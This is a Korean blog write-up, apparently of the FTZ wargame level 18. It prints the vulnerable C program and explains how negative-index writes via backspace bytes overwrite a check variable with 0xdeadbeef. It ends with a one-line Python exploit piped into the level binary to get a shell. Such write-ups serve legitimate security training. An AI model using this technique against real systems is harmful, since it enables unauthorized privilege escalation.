System/FTZ

FTZ. 18

dcho 2019. 9. 6. 13:50
SMALL
level18 // why did you do it

힌트를 보았는데 코드가 엄청 길다.

#include <stdio.h>
#include <sys/time.h>
#include <sys/types.h>
#include <unistd.h>
void shellout(void);
int main()
{
  char string[100];
  int check;
  int x = 0;
  int count = 0;
  fd_set fds;
  printf("Enter your command: ");
  fflush(stdout);
  while(1)
    {
      if(count >= 100)
        printf("what are you trying to do?\n");
      if(check == 0xdeadbeef)
        shellout();
      else
        {
          FD_ZERO(&fds);
          FD_SET(STDIN_FILENO,&fds);
          if(select(FD_SETSIZE, &fds, NULL, NULL, NULL) >= 1)
            {
              if(FD_ISSET(fileno(stdin),&fds))
                {
                  read(fileno(stdin),&x,1);
                  switch(x)
                    {
                      case '\r':
                      case '\n':
                        printf("\a");
                        break;
                      case 0x08:
                        count--;
                        printf("\b \b");
                        break;
                      default:
                        string[count] = x;
                        count++;
                        break;
                    }
                }
            }
        }
    }
}
void shellout(void)
{
  setreuid(3099,3099);
  execl("/bin/sh","sh",NULL);
}   

첨엔 뭐지 싶었지만 차분히 읽어보니 check가 0xdeadbeef가 되면 해결되는 문제였다. 
(fd_set 에 관한건 : https://hahaite.tistory.com/290)

일단 구조가 궁금하니 디버깅을 해보자


구조는 다음과 같다.


main+91에서 [ebp-104] 와 0xdeadbeef를 비교한다. 즉 저부분을 공략하라는 것!

기본이 string[count] 인데 조건문을 보니 0x08 이면 count가 마이너가 된다고 한다. 그렇다면 ebp-104에 접근할 수 있을 것 같다.

즉, 0x08을 4번 하면 check인 ebp-104에 접근이 가능! 그다음에 deadbeef를 넣어주면 된다.

(python -c 'print "\x08"*4+"\xef\xbe\xad\xde"';cat)|./attackme


성공! 

이해하는게 좀 오래 걸렸다.. 

'System > FTZ' 카테고리의 다른 글

FTZ. 20  (0) 2019.09.06
FTZ. 19  (0) 2019.09.06
FTZ. 17  (0) 2019.09.06
FTZ. 16  (0) 2019.09.06
FTZ. 15  (0) 2019.09.06